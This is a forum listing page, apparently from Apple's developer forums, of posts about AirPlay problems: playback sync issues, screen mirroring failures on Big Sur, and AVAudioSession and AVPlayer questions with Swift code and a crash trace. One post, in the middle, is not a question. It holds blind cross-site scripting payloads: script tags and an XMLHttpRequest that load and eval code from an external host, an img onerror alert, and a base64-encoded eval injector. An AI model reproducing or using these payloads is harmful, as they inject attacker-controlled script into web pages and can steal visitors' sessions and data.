AirPlay allows users to wirelessly stream content from their iOS device or Mac to devices and accessories compatible with AirPlay.

AirPlay Documentation

Posts under AirPlay tag

43 Posts
Sort by:
Post not yet marked as solved
0 Replies
264 Views
Hi, after an automatic update to my AT4, my airplay speakers (airport express + Ampli) is not working properly now. Bad synchro between vidéo and sound. Trying to set that in the settings but it doesn’t work. anybody has the same problem?
Posted
by
Post not yet marked as solved
0 Replies
304 Views
Since updating to Big Sur on my 2018 MBP I've had nothing but Music app issues, and the issues are far and wide (Missing Artwork, no Artwork Cache for my Apple TVs, and of course AirPlay from the Music app). However, after months of troubleshooting AirPlay issues with Music, I was finally able to determine that if I have EQ turned on, Music will not allow me to AirPlay to any of my Apple TVs. Interestingly, if I turn off EQ I can instantly AirPlay to any of my Apple TVs. Turning the EQ back on while AirPlaying to an Apple TV has no change to the sound, but once I stop AirPlaying, the EQ becomes effective on my MBP about 2 seconds after I stop AirPlaying (you can hear the tonal changes after the EQ enables itself again). Any suggestions??
Posted
by
Post not yet marked as solved
0 Replies
572 Views
Hello; not if the topic has already been treated (I have searched but I have not found anything) in practice I have a problem with my iphone 12 pro max with the beta 6 version of ios 15 (19A5325f); the problem specifically concerns the bluetooth that I always remain connected with my second generation airpods (but the same happens with my airpods pro). In practice, making a phone call automatically, the call switches to the airpods even with the case closed and often going to the airplay menu I have to click on the small radar type icon to see that the iphone is always connected with the airpods even with the case closed I repeat. I also notice the automatic switch because the music menu appears in the lockscren. I ask you kindly, am I doing something wrong with the settings or is it an ios 15 bug? Tell me what details you need to better understand the problem. Thank you
Posted
by
Post not yet marked as solved
1 Replies
642 Views
Background We're writing a small recording app - think Voice Memos for the sake of argument. In our app, users should always record with the built-in iPhone microphone. Our Problem Our setup works fine when using just the speakers or in combination with Bluetooth headsets. However, it doesn't work well with Airplay. One of two things can happen: The app records just silence The app crashes when trying to connect the inputNode to the recorderNode (see code below), complaining that IsFormatSampleRateAndChannelCountValid == false Our testing environment is an iPhone Xs, connected to an Airplay 2 compatible Sonos amp. Code We use the following code to set up the AVAudioSession (simplified, without error handling): let session = AVAudioSession.sharedInstance() try session.setCategory(.playAndRecord, options: [.defaultToSpeaker, .allowBluetoothA2DP, .allowAirPlay]) try AVAudioSession.sharedInstance().setActive(true) Every time we record, we configure the audio session to use the built-in mic, and then create a fresh AVAudioEngine. let session = AVAudioSession.sharedInstance() let builtInMicInput = session.availableInputs!.first(where: { $0.portType == .builtInMic }) try session.setPreferredInput(builtInMicInput) let sampleRate: Double = 44100 let numChannels: AVAudioChannelCount = isStereoEnabled ? 2 : 1 let recordingOutputFormat = AVAudioFormat(commonFormat: .pcmFormatFloat32, sampleRate: sampleRate, channels: numChannels, interleaved: false)! let engine = AVAudioEngine() let recorderNode = AVAudioMixerNode() // This sets the input volume of those nodes in their destination node (mainMixerNode) to 0. // The raw outputVolume of these nodes remains 1, so when you tap them you still get the samples. // If you set outputVolume = 0 instead, the taps would only receives zeros. recorderNode.volume = 0 engine.attach(recorderNode) engine.connect(engine.mainMixerNode,  to: engine.outputNode,   format: engine.outputNode.inputFormat(forBus: 0)) engine.connect(recorderNode,      to: engine.mainMixerNode,  format: recordingOutputFormat) engine.connect(engine.inputNode,    to: recorderNode,      format: engine.inputNode.inputFormat(forBus: 0)) // and later try engine.start() We install a tap on the recorderNode to save the recorded audio into a file. The tap works fine and is out of scope for this question, and thus not included here. Questions How do we route/configure the audio engine correctly to avoid this problem? Do you have any advice on how to debug such issues in the future? Which variables/states should we inspect? Thank you so much in advance!
Posted
by
Post not yet marked as solved
1 Replies
502 Views
I have downloaded movies from iTunes to my iPad. I purchased them and downloaded them directly. When I plug the iPad into my TV via HDMI there is no data consumption at all over the WAN source. When I try to Airplay to an Apple TV 4K latest version, the same movie attempts to stream instead of playing from the local file. I am trying to understand why the Apple TV forces the downloaded movie to stream instead of playing from the local copy on the iPad.
Posted
by
Post not yet marked as solved
1 Replies
720 Views
Is there any way of discovering the name of the device when the user started to cast to it? The only thing I found was this let route = AVAudioSession.sharedInstance().currentRoute for output in route.outputs where output.portType == .airPlay { infoDict["deviceName"] = output.portName infoDict["portType"] = output.portType.rawValue } but the output.portName returns the portType instead of the portName.
Posted
by
Post not yet marked as solved
1 Replies
721 Views
Hello, My problem is quite complex, so I am going to describe it in detail below. I am developing a playback app that makes use of HLS streaming. One of the requirements I have to meet is that my app should react to HTTP response headers. As there is no API to get these information, I applied the solution described in the latest comment right here: HTTP Response Header from AVPlayer – I am using a proxy server to extract the headers from the response. The problem happens when a user wants to stream video on an external device via AirPlay. Since the proxy server runs only on a mobile device, any HTTP request fails on the external device due to an incorrect URL (e.g http://127.0.0.1:58244/theRestOfUrl/playlist.m3u8). In this case, I detect when the AirPlay connection is initiated (via the Notification Center mechanism), and then change AVPlayerItem by calling the replaceCurrentItem(with:) method. The new item contains a correct URL, without the proxy server address added. Everything works fine on AirPlay 2, but unfortunately not on older AirPlay – the player on the external device displays an activity indicator for a moment and after a while the connection is being interrupted. As a workaround, I tried to set nil on AVPlayer and create a new instance of it, but this does not work either. I can attach the sample project if needed. Best regards, Tomasz
Posted
by
Post not yet marked as solved
0 Replies
566 Views
Hi, I'm really excited about the possibility of AirPlay to the Mac. I previously used the feature of Mac OS to be a Target Display for my mid-2012 iMac but was disappointed when I got my M1 Mac as that is no longer a possibility. Is this feature going to support older Macs? Do we have any of the supported model list yet?
Posted
by
Post marked as solved
2 Replies
1.9k Views
script$.getScript("//bxss.xss.ht")/script "img src=x onerror=alert(document.domain)// - https://developer.apple.com/forums/content/attachment/00c3c19c-52da-456e-ac3f-f1ec6ae4efef "input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vYnhzcy54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus script$.getScript("//bxss.xss.ht")/script scriptfunction b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//bxss.xss.ht");a.send();/script
Posted
by
Post not yet marked as solved
5 Replies
1.2k Views
Hello. I have a mysterious crash that I can't reproduce. The stack traces never have any of my code in them. Here is what I know about the crashes: It doesn't seem to be at all device-specific, but newer devices are far more commonly seen than older devices. It only happens on iOS 14 and up It might possibly be related to airplay (I work on a video player app), because every crash report also has either a thread labeled com.apple.coremedia.displaymirroringobserver or a thread labeled AVAudioSession Notify Thread Here is the stack trace: language Crashed: com.apple.main-thread  EXC_BAD_ACCESS KERN_INVALID_ADDRESS 0x0000000000000020 0 libobjc.A.dylib 0x1bfa07de0 objc_release + 16 1 libsystem_blocks.dylib 0x1f315d784 _Block_release + 188 2 UIKitCore 0x1ae37bf14 -[_UIAfterCACommitBlock run] + 76 3 UIKitCore 0x1adee1984 _runAfterCACommitDeferredBlocks + 296 4 UIKitCore 0x1aded0eb4 _cleanUpAfterCAFlushAndRunDeferredBlocks + 200 5 UIKitCore 0x1adf02484 _afterCACommitHandler + 76 6 CoreFoundation 0x1ab5e687c __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ + 32 7 CoreFoundation 0x1ab5e0f50 __CFRunLoopDoObservers + 604 8 CoreFoundation 0x1ab5e1498 __CFRunLoopRun + 960 9 CoreFoundation 0x1ab5e0ba0 CFRunLoopRunSpecific + 572 10 GraphicsServices 0x1c2346598 GSEventRunModal + 160 11 UIKitCore 0x1aded22f4 -[UIApplication _run] + 1052 12 UIKitCore 0x1aded7874 UIApplicationMain + 164 13 SpectrumTV 0x1029874d0 main + 29 (SettingsAboutAnalyticsReporter.swift:29) 14 libdyld.dylib 0x1ab2bf568 start + 4 This seems to indicate that we are doing something wrong with a Core Animation completion block. When the OS tries to free the completion blocks, it crashes. But, that still leaves me with a huge search surface area, so I was hoping that by posting here, someone (perhaps someone with knowledge of the code in question) could point me at specifically what causes the above framework code to run. The other option is that someone is corrupting the heap, which is too horrifying to contemplate. 😱
Posted
by
Post not yet marked as solved
0 Replies
715 Views
My boyfriend and I both have MacBook Pros. He's still using Catalina and has no issues. I updated to Big Sur 11.2.2 (20D80) and I cannot use the airplay feature on our LG smart TV (UN7240PVG). One of a few things happen: I go to Display under System preferences and select the TV. It selects it for a moment and the selection reverts back to the "Off" option. Then a pop-up appears saying the connection fails. Sometimes it does connect through the above way, but it is skipping and the sound pauses every few seconds and is not a pleasant viewing experience. I open QuickTime player with a movie and use the AirPlay icon from there and select the TV. I still see the play/pause action menu, but the rest of the player goes black and the TV is stuck on the AirPlay settings menu. For option 3 I go between resetting the device in AirPlay to forget the 1 time passcode (which only sometimes will work to give me a new code), asking for a password for each connection, or a code each time a device is connected. Nothing works. Even when I do manage to be given a passcode the TV stays on the AirPlay setting screen and the video player on the computer stays black. Quite annoying! Please please please fix! I've tried the fire wall setting mentioned here a few times, but this didn't work for me. Anyone else found a fix for something similar happening?
Posted
by
Post not yet marked as solved
4 Replies
4.1k Views
I have a new iPad Air (4th Gen) trying to connect with my Macbook Pro 2017 on Big Sur... Display is not connecting and request times out. They are on the same Wifi network, have bluetooth enabled (although the devices wont connect to each other, but show under My Devices), have Handoff enabled, and am logged in under the same Apple ID with 2FA. I’ve tried restarting the devices, toggling settings, and resetting network settings... I've tried all of the above connected with a USB-C and also unconnected. The iPad is set as a Trusted device via Finder when plugged into my Macbook. Not sure what else I can do. Thanks in advance!
Posted
by
Post not yet marked as solved
1 Replies
631 Views
Hey, I'm writing an app with the possibility to play HLS streams. Some HLS streams I have to play have ad-breaks and I have to display them on the custom view progress bar. To do so I create an instance of AVPlayerItemMetadataCollector and add it to AVPlayerItem instance: swift         let asset = AVURLAsset(url: url)         let item = AVPlayerItem(asset: asset)         let metadataCollector = AVPlayerItemMetadataCollector()         item.add(metadataCollector) It works as expected when I play the stream on the device. When the player receives the manifest with EXT-X-DATERANGE tags the metadataCollector reports the ad-breaks via its delegate's metadataCollector( , didCollect: , indexesOfNewGroups: , indexesOfModifiedGroups: ) method. But suppose, I've started a playback, switched to AirPlay, and closed the player on the device. In this case, the AirPlay device stays connected, so that if I start the playback again (the same item or another), the playback will start at once on AirPlay. The issue in this case is: When the playback starts at once on AirPlay, the AVPlayerItemMetadataCollector instance doesn't report any ad-breaks to its delegate. I've tested this behavior with iPhones (iOS 14.3) and Apple TV 4K (tvOS 14.4) and LG TV with AirPlay 2 support. Is something wrong with AVPlayerItemMetadataCollector configuration or is it an expected behavior or an iOS bug?
Posted
by
Post not yet marked as solved
3 Replies
1.2k Views
Hello! I'm writing an app with a possibility to play HLS streams. I make a KVO subscription for AVPlayer.timeControlStatus to change the state of custom trickplay controls. When I switch the playback from the device to an AirPlay device (Apple TV 4K for instance), the KVO subscription is triggerred once with .paused state and then stops getting updates. However the playback is active on the AppleTV in the same time. Also I have a periodicTimeObserver with period of 1 sec and this observer continues getting triggered each second. But if I print out the timeControlState of the player inside this periodicObserver it stays .paused. It's more strange as periodicObserver should not be triggered when prayer is in .paused state. When I pause/play the playback using remote control of the Apple TV everything starts working as expected: AVPlayer.timeControlStatus updates begin trigger KVO observation, periodicObserver is being triggered only when playback is active and timeControlStatus is .paying. I tried to simulate it in the clean project and prepared the project that just presents an AVPlayerViewController that shows a video from the hardcoded URL. And all the issues are being reproduced in the same way in the clean project. Please, find the listing below. I've tested this behavior with iOS 12.3.1 and 14.3 iPhones and AplleTV 4K tvOS 14.4. Is something wrong with AVPlayer configuration or is it an expected behavior or an iOS bug? swift class ViewController: UIViewController {     private var player: AVPlayer?     private var obs: NSKeyValueObservation?     @IBAction func playVideo(_ sender: Any) {         guard let url = URL(string: "https://bitdash-a.akamaihd.net/content/MI201109210084_1/m3u8s/f08e80da-bf1d-4e3d-8899-f0f6155f6efa.m3u8") else {             return         }         player = AVPlayer(url: url)         player?.addPeriodicTimeObserver(             forInterval: CMTime(seconds: 1, preferredTimescale: 600),             queue: DispatchQueue.main         ) { [weak player] _ in             print("#$#$player timeControlStatus: \(player?.timeControlStatus.rawValue)")         }         obs = player?.observe(\AVPlayer.timeControlStatus) { player, _ in             print("#$#$timeControlStatus changed to: \(player.timeControlStatus.rawValue)")         }         let controller = AVPlayerViewController()         controller.player = player         present(controller, animated: true) {             self.player?.play()         }     } }
Posted
by
Post not yet marked as solved
1 Replies
385 Views
My iOS app is able to Airplay successfully to my AppleTV and to my Samsung television, but when I try to cast to the Roku I just get a text info screen that says: "Network: Ethernet / Choose this device: Roku Ultra. Make sure your Mac or iOS device is connected to the same Wi-Fi network as this device. For more information..." I'm able to Airplay to the Roku from other apps on the same phone, just not my app. My app works fine to other destinations, so it doesn't seem like an API implementation issue. Maybe a media format problem? Help!
Posted
by
Post not yet marked as solved
1 Replies
453 Views
Hi here, i have set the video attributes x-webkit-wirelessvideoplaybackdisabled, x-webkit-airplay="deny", disableremoteplayback according to apple's documentation so as to opt out from airplay on my video player. For Safari versions <=12 the airplay button correctly does not appear. But for versions greater than 12 it appears! Can you please give an update/guidance on that?
Posted
by
Post not yet marked as solved
10 Replies
3.7k Views
Apple Mac Mini computer with the new Apple Silicon M1 processor and Big Sur 11.0.1, I try to connect it by Airplay to duplicate the screen, the computer detects the TV but when I press the Airplay option, the Sony television turns black with the screen and nothing is seen nor duplicates anything. With the same television a week ago I was using a Mac Mini from the end of 2012 and it worked perfectly. Today with another Macbook Air computer from 2014 and an iPhone from 2018 it works perfectly. I do not know if it is a problem with the new Apple chip or that the television needs a new update for this new processor. Anyone having the same problem? or do you know what might be happening?
Posted
by
Post marked as solved
28 Replies
16k Views
AirPlay seems to have been wiped out on my MacBook Pro since the move to Big Sur...The icon was no longer saved in the toolbar, so I went to the widgets to find it. Instead of saying "AirPlay" there was "Screen Mirroring" which was odd since screenshots online from other users still shows AirPlay. AirPlay worked just fine on my MacBook Pro before using Big Sur and it still works perfectly on both Apple TVs I have when I use my iPhone. This leads me to believe it might have to do with the upgrade since only my MacBook Pro is having this issue. I ended up calling Apple Support and spent over 3 hours troubleshooting the issue, but no solution yet. Spoke to 3 different techs and it seems like none of them have seen this issue before. I've been patient since I know Big Sur is new, but this is a bit frustrating to say the least. I've restarted my router, both Apple TVs, my MacBook Pro (multiple times each), and still no fix. The screen mirroring does not work, since the AirPlay display in System Preferences keeps switching to "Off" immediately after clicking which Apple TV I want to use it for. I've also made sure the network names match up, so I'm running out of ideas. Does anyone have any advice? I appreciate any help I can get. Thank you.
Posted
by